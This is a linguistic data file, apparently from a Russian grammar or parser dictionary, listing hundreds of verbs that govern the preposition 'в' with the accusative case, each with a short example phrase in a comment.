rus_verbs:назначить{}, // назначить в приемную комиссию rus_verbs:кидать{}, // кидать в кусты rus_verbs:увлекать{}, // увлекать в лес rus_verbs:переселиться{}, // переселиться в чужое тело rus_verbs:присылать{}, // присылать в город rus_verbs:уплыть{}, // уплыть в Европу rus_verbs:запричитать{}, // запричитать в полный голос rus_verbs:утащить{}, // утащить в логово rus_verbs:завернуться{}, // завернуться в плед rus_verbs:заносить{}, // заносить в блокнот rus_verbs:пятиться{}, // пятиться в дом rus_verbs:наведываться{}, // наведываться в больницу rus_verbs:нырять{}, // нырять в прорубь rus_verbs:зачастить{}, // зачастить в бар rus_verbs:назначаться{}, // назначается в комиссию rus_verbs:мотаться{}, // мотаться в областной центр rus_verbs:разыграть{}, // разыграть в карты rus_verbs:пропищать{}, // пропищать в микрофон rus_verbs:пихнуть{}, // пихнуть в бок rus_verbs:эмигрировать{}, // эмигрировать в Канаду rus_verbs:подключить{}, // подключить в сеть rus_verbs:упереть{}, // упереть в фундамент rus_verbs:уплатить{}, // уплатить в кассу rus_verbs:потащиться{}, // потащиться в медпункт rus_verbs:пригнать{}, // пригнать в стойло rus_verbs:оттеснить{}, // оттеснить в фойе rus_verbs:стучаться{}, // стучаться в ворота rus_verbs:перечислить{}, // перечислить в фонд rus_verbs:сомкнуть{}, // сомкнуть в круг rus_verbs:закачаться{}, // закачаться в резервуар rus_verbs:кольнуть{}, // кольнуть в бок rus_verbs:накрениться{}, // накрениться в сторону берега rus_verbs:подвинуться{}, // подвинуться в другую сторону rus_verbs:разнести{}, // разнести в клочья rus_verbs:отливать{}, // отливать в форму rus_verbs:подкинуть{}, // подкинуть в карман rus_verbs:уводить{}, // уводить в кабинет rus_verbs:ускакать{}, // ускакать в школу rus_verbs:ударять{}, // ударять в барабаны rus_verbs:даться{}, // даться в руки rus_verbs:поцеловаться{}, // поцеловаться в губы rus_verbs:посветить{}, // посветить в подвал rus_verbs:тыкать{}, // тыкать в арбуз rus_verbs:соединяться{}, // соединяться в кольцо rus_verbs:растянуть{}, // растянуть в тонкую ниточку rus_verbs:побросать{}, // побросать в пыль rus_verbs:стукнуться{}, // стукнуться в закрытую дверь rus_verbs:проигрывать{}, // проигрывать в теннис rus_verbs:дунуть{}, // дунуть в трубочку rus_verbs:улетать{}, // улетать в Париж rus_verbs:переводиться{}, // переводиться в филиал rus_verbs:окунуться{}, // окунуться в водоворот событий rus_verbs:попрятаться{}, // попрятаться в норы rus_verbs:перевезти{}, // перевезти в соседнюю палату rus_verbs:топать{}, // топать в школу rus_verbs:относить{}, // относить в помещение rus_verbs:укладывать{}, // укладывать в стопку rus_verbs:укатить{}, // укатил в турне rus_verbs:убирать{}, // убирать в сумку rus_verbs:помалкивать{}, // помалкивать в тряпочку rus_verbs:ронять{}, // ронять в грязь rus_verbs:глазеть{}, // глазеть в бинокль rus_verbs:преобразиться{}, // преобразиться в другого человека rus_verbs:запрыгнуть{}, // запрыгнуть в поезд rus_verbs:сгодиться{}, // сгодиться в суп rus_verbs:проползти{}, // проползти в нору rus_verbs:забираться{}, // забираться в коляску rus_verbs:сбежаться{}, // сбежались в класс rus_verbs:закатиться{}, // закатиться в угол rus_verbs:плевать{}, // плевать в душу rus_verbs:поиграть{}, // поиграть в демократию rus_verbs:кануть{}, // кануть в небытие rus_verbs:опаздывать{}, // опаздывать в школу rus_verbs:отползти{}, // отползти в сторону rus_verbs:стекаться{}, // стекаться в отстойник rus_verbs:запихнуть{}, // запихнуть в пакет rus_verbs:вышвырнуть{}, // вышвырнуть в коридор rus_verbs:связываться{}, // связываться в плотный узел rus_verbs:затолкать{}, // затолкать в ухо rus_verbs:скрутить{}, // скрутить в трубочку rus_verbs:сворачивать{}, // сворачивать в трубочку rus_verbs:сплестись{}, // сплестись в узел rus_verbs:заскочить{}, // заскочить в кабинет rus_verbs:проваливаться{}, // проваливаться в сон rus_verbs:уверовать{}, // уверовать в свою безнаказанность rus_verbs:переписать{}, // переписать в тетрадку rus_verbs:переноситься{}, // переноситься в мир фантазий rus_verbs:заводить{}, // заводить в помещение rus_verbs:сунуться{}, // сунуться в аудиторию rus_verbs:устраиваться{}, // устраиваться в автомастерскую rus_verbs:пропускать{}, // пропускать в зал инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш }, деепричастие:сбегая{}, деепричастие:сбегав{}, rus_verbs:прибегать{}, // прибегать в школу rus_verbs:съездить{}, // съездить в лес rus_verbs:захлопать{}, // захлопать в ладошки rus_verbs:опрокинуться{}, // опрокинуться в грязь инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш }, деепричастие:насыпая{}, деепричастие:насыпав{}, rus_verbs:употреблять{}, // употреблять в пищу rus_verbs:приводиться{}, // приводиться в действие rus_verbs:пристроить{}, // пристроить в надежные руки rus_verbs:юркнуть{}, // юркнуть в нору rus_verbs:объединиться{}, // объединиться в банду rus_verbs:сажать{}, // сажать в одиночку rus_verbs:соединить{}, // соединить в кольцо rus_verbs:забрести{}, // забрести в кафешку rus_verbs:свернуться{}, // свернуться в клубочек rus_verbs:пересесть{}, // пересесть в другой автобус rus_verbs:постучаться{}, // постучаться в дверцу rus_verbs:соединять{}, // соединять в кольцо rus_verbs:приволочь{}, // приволочь в коморку rus_verbs:смахивать{}, // смахивать в ящик стола rus_verbs:забежать{}, // забежать в помещение rus_verbs:целиться{}, // целиться в беглеца rus_verbs:прокрасться{}, // прокрасться в хранилище rus_verbs:заковылять{}, // заковылять в травтамологию rus_verbs:прискакать{}, // прискакать в стойло rus_verbs:колотить{}, // колотить в дверь rus_verbs:смотреться{}, // смотреться в зеркало rus_verbs:подложить{}, // подложить в салон rus_verbs:пущать{}, // пущать в королевские покои rus_verbs:согнуть{}, // согнуть в дугу rus_verbs:забарабанить{}, // забарабанить в дверь rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы rus_verbs:убраться{}, // убраться в специальную нишу rus_verbs:насмотреться{}, // насмотреться в зеркало rus_verbs:чмокнуть{}, // чмокнуть в щечку rus_verbs:усмехаться{}, // усмехаться в бороду rus_verbs:передвинуть{}, // передвинуть в конец очереди rus_verbs:допускаться{}, // допускаться в опочивальню rus_verbs:задвинуть{}, // задвинуть в дальний угол rus_verbs:отправлять{}, // отправлять в центр rus_verbs:сбрасывать{}, // сбрасывать в жерло rus_verbs:расстреливать{}, // расстреливать в момент обнаружения rus_verbs:заволочь{}, // заволочь в закуток rus_verbs:пролить{}, // пролить в воду rus_verbs:зарыться{}, // зарыться в сено rus_verbs:переливаться{}, // переливаться в емкость rus_verbs:затащить{}, // затащить в клуб rus_verbs:перебежать{}, // перебежать в лагерь врагов rus_verbs:одеть{}, // одеть в новое платье инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу деепричастие:задвигаясь{}, rus_verbs:клюнуть{}, // клюнуть в темечко rus_verbs:наливать{}, // наливать в кружку rus_verbs:пролезть{}, // пролезть в ушко rus_verbs:откладывать{}, // откладывать в ящик rus_verbs:протянуться{}, // протянуться в соседний дом rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь rus_verbs:устанавливать{}, // устанавливать в машину rus_verbs:употребляться{}, // употребляться в пищу rus_verbs:переключиться{}, // переключиться в реверсный режим rus_verbs:пискнуть{}, // пискнуть в микрофон rus_verbs:заявиться{}, // заявиться в класс rus_verbs:налиться{}, // налиться в стакан rus_verbs:заливать{}, // заливать в бак rus_verbs:ставиться{}, // ставиться в очередь инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны деепричастие:писаясь{}, rus_verbs:целоваться{}, // целоваться в губы rus_verbs:наносить{}, // наносить в область сердца rus_verbs:посмеяться{}, // посмеяться в кулачок rus_verbs:употребить{}, // употребить в пищу rus_verbs:прорваться{}, // прорваться в столовую rus_verbs:укладываться{}, // укладываться в ровные стопки rus_verbs:пробиться{}, // пробиться в финал rus_verbs:забить{}, // забить в землю rus_verbs:переложить{}, // переложить в другой карман rus_verbs:опускать{}, // опускать в свежевырытую могилу rus_verbs:поторопиться{}, // поторопиться в школу rus_verbs:сдвинуться{}, // сдвинуться в сторону rus_verbs:капать{}, // капать в смесь rus_verbs:погружаться{}, // погружаться во тьму rus_verbs:направлять{}, // направлять в кабинку rus_verbs:погрузить{}, // погрузить во тьму rus_verbs:примчаться{}, // примчаться в школу rus_verbs:упираться{}, // упираться в дверь rus_verbs:удаляться{}, // удаляться в комнату совещаний rus_verbs:ткнуться{}, // ткнуться в окошко rus_verbs:убегать{}, // убегать в чащу rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру rus_verbs:наговорить{}, // наговорить в микрофон rus_verbs:переносить{}, // переносить в дом rus_verbs:прилечь{}, // прилечь в кроватку rus_verbs:поворачивать{}, // поворачивать в обратную сторону rus_verbs:проскочить{}, // проскочить в щель rus_verbs:совать{}, // совать в духовку rus_verbs:переодеться{}, // переодеться в чистую одежду rus_verbs:порвать{}, // порвать в лоскуты rus_verbs:завязать{}, // завязать в бараний рог rus_verbs:съехать{}, // съехать в кювет rus_verbs:литься{}, // литься в канистру rus_verbs:уклониться{}, // уклониться в левую сторону rus_verbs:смахнуть{}, // смахнуть в мусорное ведро rus_verbs:спускать{}, // спускать в шахту rus_verbs:плеснуть{}, // плеснуть в воду rus_verbs:подуть{}, // подуть в угольки rus_verbs:набирать{}, // набирать в команду rus_verbs:хлопать{}, // хлопать в ладошки rus_verbs:ранить{}, // ранить в самое сердце rus_verbs:посматривать{}, // посматривать в иллюминатор rus_verbs:превращать{}, // превращать воду в вино rus_verbs:толкать{}, // толкать в пучину rus_verbs:отбыть{}, // отбыть в расположение части rus_verbs:сгрести{}, // сгрести в карман rus_verbs:удрать{}, // удрать в тайгу rus_verbs:пристроиться{}, // пристроиться в хорошую фирму rus_verbs:сбиться{}, // сбиться в плотную группу rus_verbs:заключать{}, // заключать в объятия rus_verbs:отпускать{}, // отпускать в поход rus_verbs:устремить{}, // устремить взгляд в будущее rus_verbs:обронить{}, // обронить в траву rus_verbs:сливаться{}, // сливаться в речку rus_verbs:стекать{}, // стекать в канаву rus_verbs:свалить{}, // свалить в кучу rus_verbs:подтянуть{}, // подтянуть в кабину rus_verbs:скатиться{}, // скатиться в канаву rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь rus_verbs:заторопиться{}, // заторопиться в буфет rus_verbs:протиснуться{}, // протиснуться в центр толпы rus_verbs:прятать{}, // прятать в укромненькое местечко rus_verbs:пропеть{}, // пропеть в микрофон rus_verbs:углубиться{}, // углубиться в джунгли rus_verbs:сползти{}, // сползти в яму rus_verbs:записывать{}, // записывать в память rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР) rus_verbs:колотиться{}, // колотиться в дверь rus_verbs:просунуть{}, // просунуть в отверстие rus_verbs:провожать{}, // провожать в армию rus_verbs:катить{}, // катить в гараж rus_verbs:поражать{}, // поражать в самое сердце rus_verbs:отлететь{}, // отлететь в дальний угол rus_verbs:закинуть{}, // закинуть в речку rus_verbs:катиться{}, // катиться в пропасть rus_verbs:забросить{}, // забросить в дальний угол rus_verbs:отвезти{}, // отвезти в лагерь rus_verbs:втопить{}, // втопить педаль в пол rus_verbs:втапливать{}, // втапливать педать в пол rus_verbs:утопить{}, // утопить кнопку в панель rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?) rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег rus_verbs:поскакать{}, // поскакать в атаку rus_verbs:прицелиться{}, // прицелиться в бегущего зайца rus_verbs:прыгать{}, // прыгать в кровать rus_verbs:приглашать{}, // приглашать в дом rus_verbs:понестись{}, // понестись в ворота rus_verbs:заехать{}, // заехать в гаражный бокс rus_verbs:опускаться{}, // опускаться в бездну rus_verbs:переехать{}, // переехать в коттедж rus_verbs:поместить{}, // поместить в карантин rus_verbs:ползти{}, // ползти в нору rus_verbs:добавлять{}, // добавлять в корзину rus_verbs:уткнуться{}, // уткнуться в подушку rus_verbs:продавать{}, // продавать в рабство rus_verbs:спрятаться{}, // Белка спрячется в дупло. rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию rus_verbs:воткнуть{}, // воткни вилку в розетку rus_verbs:нести{}, // нести в больницу rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку rus_verbs:впаивать{}, // впаивать деталь в плату rus_verbs:впаиваться{}, // деталь впаивается в плату rus_verbs:впархивать{}, // впархивать в помещение rus_verbs:впаять{}, // впаять деталь в плату rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат rus_verbs:вперивать{}, // вперивать взгляд в экран rus_verbs:впериваться{}, // впериваться в экран rus_verbs:вперить{}, // вперить взгляд в экран rus_verbs:впериться{}, // впериться в экран rus_verbs:вперять{}, // вперять взгляд в экран rus_verbs:вперяться{}, // вперяться в экран rus_verbs:впечатать{}, // впечатать текст в первую главу rus_verbs:впечататься{}, // впечататься в стену rus_verbs:впечатывать{}, // впечатывать текст в первую главу rus_verbs:впечатываться{}, // впечатываться в стену rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами rus_verbs:впитаться{}, // Жидкость впиталась в ткань rus_verbs:впитываться{}, // Жидкость впитывается в ткань rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник rus_verbs:вплавиться{}, // Провод вплавился в плату rus_verbs:вплеснуть{}, // вплеснуть краситель в бак rus_verbs:вплести{}, // вплести ленту в волосы rus_verbs:вплестись{}, // вплестись в волосы rus_verbs:вплетать{}, // вплетать ленты в волосы rus_verbs:вплывать{}, // корабль вплывает в порт rus_verbs:вплыть{}, // яхта вплыла в бухту rus_verbs:вползать{}, // дракон вползает в пещеру rus_verbs:вползти{}, // дракон вполз в свою пещеру rus_verbs:впорхнуть{}, // бабочка впорхнула в окно rus_verbs:впрессовать{}, // впрессовать деталь в плиту rus_verbs:впрессоваться{}, // впрессоваться в плиту rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту rus_verbs:впрессовываться{}, // впрессовываться в плиту rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания rus_verbs:впрягать{}, // впрягать лошадь в телегу rus_verbs:впрягаться{}, // впрягаться в работу rus_verbs:впрячь{}, // впрячь лошадь в телегу rus_verbs:впрячься{}, // впрячься в работу rus_verbs:впускать{}, // впускать посетителей в музей rus_verbs:впускаться{}, // впускаться в помещение rus_verbs:впустить{}, // впустить посетителей в музей rus_verbs:впутать{}, // впутать кого-то во что-то rus_verbs:впутаться{}, // впутаться во что-то rus_verbs:впутывать{}, // впутывать кого-то во что-то rus_verbs:впутываться{}, // впутываться во что-то rus_verbs:врабатываться{}, // врабатываться в режим rus_verbs:вработаться{}, // вработаться в режим rus_verbs:врастать{}, // врастать в кожу rus_verbs:врасти{}, // врасти в кожу инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь инфинитив:врезать{ вид:соверш }, глагол:врезать{ вид:несоверш }, глагол:врезать{ вид:соверш }, деепричастие:врезая{}, деепричастие:врезав{}, прилагательное:врезанный{}, инфинитив:врезаться{ вид:несоверш }, // врезаться в стену инфинитив:врезаться{ вид:соверш }, глагол:врезаться{ вид:несоверш }, деепричастие:врезаясь{}, деепричастие:врезавшись{}, rus_verbs:врубить{}, // врубить в нагрузку rus_verbs:врываться{}, // врываться в здание rus_verbs:закачивать{}, // Насос закачивает топливо в бак rus_verbs:ввезти{}, // Предприятие ввезло товар в страну rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу rus_verbs:ввивать{}, // Женщина ввивает полоску в косу rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека rus_verbs:вламываться{}, // Полиция вламывается в квартиру rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом rus_verbs:вовлечься{}, // вовлечься в занятие спортом rus_verbs:спуститься{}, // спуститься в подвал rus_verbs:спускаться{}, // спускаться в подвал rus_verbs:отправляться{}, // отправляться в дальнее плавание инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство инфинитив:эмитировать{ вид:несоверш }, глагол:эмитировать{ вид:соверш }, глагол:эмитировать{ вид:несоверш }, деепричастие:эмитируя{}, деепричастие:эмитировав{}, прилагательное:эмитировавший{ вид:несоверш }, // прилагательное:эмитировавший{ вид:соверш }, прилагательное:эмитирующий{}, прилагательное:эмитируемый{}, прилагательное:эмитированный{}, инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию инфинитив:этапировать{вид:соверш}, глагол:этапировать{вид:несоверш}, глагол:этапировать{вид:соверш}, деепричастие:этапируя{}, прилагательное:этапируемый{}, прилагательное:этапированный{}, rus_verbs:этапироваться{}, // Преступники этапируются в колонию rus_verbs:баллотироваться{}, // они баллотировались в жюри rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну rus_verbs:бросать{}, // Они бросали в фонтан медные монетки rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:бросить{}, // Он бросил в фонтан медную монетку rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя rus_verbs:буксировать{}, // Буксир буксирует танкер в порт rus_verbs:буксироваться{}, // Сухогруз буксируется в порт rus_verbs:вбегать{}, // Курьер вбегает в дверь rus_verbs:вбежать{}, // Курьер вбежал в дверь rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту rus_verbs:вбиваться{}, // Штырь вбивается в плиту rus_verbs:вбирать{}, // Вата вбирает в себя влагу rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру rus_verbs:вбросить{}, // Судья вбросил мяч в игру rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту rus_verbs:ввариваться{}, // Арматура вваривается в плиту rus_verbs:вварить{}, // Робот вварил арматурину в плиту rus_verbs:влезть{}, // Предприятие ввезло товар в страну rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача rus_verbs:вверяться{}, // Пациент вверяется в руки врача rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров rus_verbs:ввиваться{}, // полоска ввивается в косу rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров // rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон rus_verbs:ввязаться{}, // Разведрота ввязалась в бой rus_verbs:ввязываться{}, // Передовые части ввязываются в бой rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь rus_verbs:вдвинуться{}, // деталь вдвинулась в печь rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко rus_verbs:вделать{}, // мастер вделал розетку в стену rus_verbs:вделывать{}, // мастер вделывает выключатель в стену rus_verbs:вделываться{}, // кронштейн вделывается в стену rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку rus_verbs:вернуться{}, // Дети вернулись в библиотеку rus_verbs:вжаться{}, // Водитель вжался в кресло rus_verbs:вживаться{}, // Актер вживается в новую роль rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента rus_verbs:вживляться{}, // Стимулятор вживляется в тело rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло rus_verbs:вжиться{}, // Актер вжился в свою новую роль rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо rus_verbs:взвинтиться{}, // Цены взвинтились в небо rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо rus_verbs:взвиться{}, // Шарики взвились в небо rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо rus_verbs:взмывать{}, // шарики взмывают в небо rus_verbs:взмыть{}, // Шарики взмыли в небо rus_verbs:вильнуть{}, // Машина вильнула в левую сторону rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю rus_verbs:вкапываться{}, // Свая вкапывается в землю rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж rus_verbs:вкатиться{}, // машина вкатилась в гараж rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж rus_verbs:вкатываться{}, // машина вкатывается в гараж rus_verbs:вкачать{}, // Механики вкачали в бак много топлива rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак rus_verbs:вкачиваться{}, // Топливо вкачивается в бак rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер rus_verbs:вкидываться{}, // Груз вкидывается в контейнер rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции rus_verbs:вкладываться{}, // Инвестор вкладывается в акции rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист rus_verbs:вклиниваться{}, // Машина вклинивается в поток rus_verbs:вклиниться{}, // машина вклинилась в поток rus_verbs:включать{}, // Команда включает компьютер в сеть rus_verbs:включаться{}, // Машина включается в глобальную сеть rus_verbs:включить{}, // Команда включила компьютер в сеть rus_verbs:включиться{}, // Компьютер включился в сеть rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон rus_verbs:влазить{}, // Разъем влазит в отверствие rus_verbs:вламывать{}, // Полиция вламывается в квартиру rus_verbs:влетать{}, // Самолет влетает в грозовой фронт rus_verbs:влететь{}, // Самолет влетел в грозовой фронт rus_verbs:вливать{}, // Механик вливает масло в картер rus_verbs:вливаться{}, // Масло вливается в картер rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности rus_verbs:влить{}, // Механик влил свежее масло в картер rus_verbs:влиться{}, // Свежее масло влилось в бак rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства rus_verbs:вложиться{}, // Инвесторы вложились в эти акции rus_verbs:влюбиться{}, // Коля влюбился в Олю rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов rus_verbs:вляпаться{}, // Коля вляпался в неприятность rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности rus_verbs:вменить{}, // вменить в вину rus_verbs:вменять{}, // вменять в обязанность rus_verbs:вмерзать{}, // Колеса вмерзают в лед rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед rus_verbs:вмести{}, // вмести в дом rus_verbs:вместить{}, // вместить в ёмкость rus_verbs:вместиться{}, // Прибор не вместился в зонд rus_verbs:вмешаться{}, // Начальник вмешался в конфликт rus_verbs:вмешивать{}, // Не вмешивай меня в это дело rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус rus_verbs:вминать{}, // вминать в корпус rus_verbs:вминаться{}, // кронштейн вминается в корпус rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт rus_verbs:вморозить{}, // Установка вморозила сваи в грунт rus_verbs:вмуровать{}, // Сейф был вмурован в стену rus_verbs:вмуровывать{}, // вмуровывать сейф в стену rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену rus_verbs:внедрить{}, // внедрить инновацию в производство rus_verbs:внедриться{}, // Шпион внедрился в руководство rus_verbs:внедрять{}, // внедрять инновации в производство rus_verbs:внедряться{}, // Шпионы внедряются в руководство rus_verbs:внести{}, // внести коробку в дом rus_verbs:внестись{}, // внестись в список приглашенных гостей rus_verbs:вникать{}, // Разработчик вникает в детали задачи rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев rus_verbs:вноситься{}, // вноситься в список главных персонажей rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом rus_verbs:вогнать{}, // вогнал человека в тоску rus_verbs:водворить{}, // водворить преступника в тюрьму rus_verbs:возвернуть{}, // возвернуть в родную стихию rus_verbs:возвернуться{}, // возвернуться в родную стихию rus_verbs:возвести{}, // возвести число в четную степень rus_verbs:возводить{}, // возводить число в четную степень rus_verbs:возводиться{}, // число возводится в четную степень 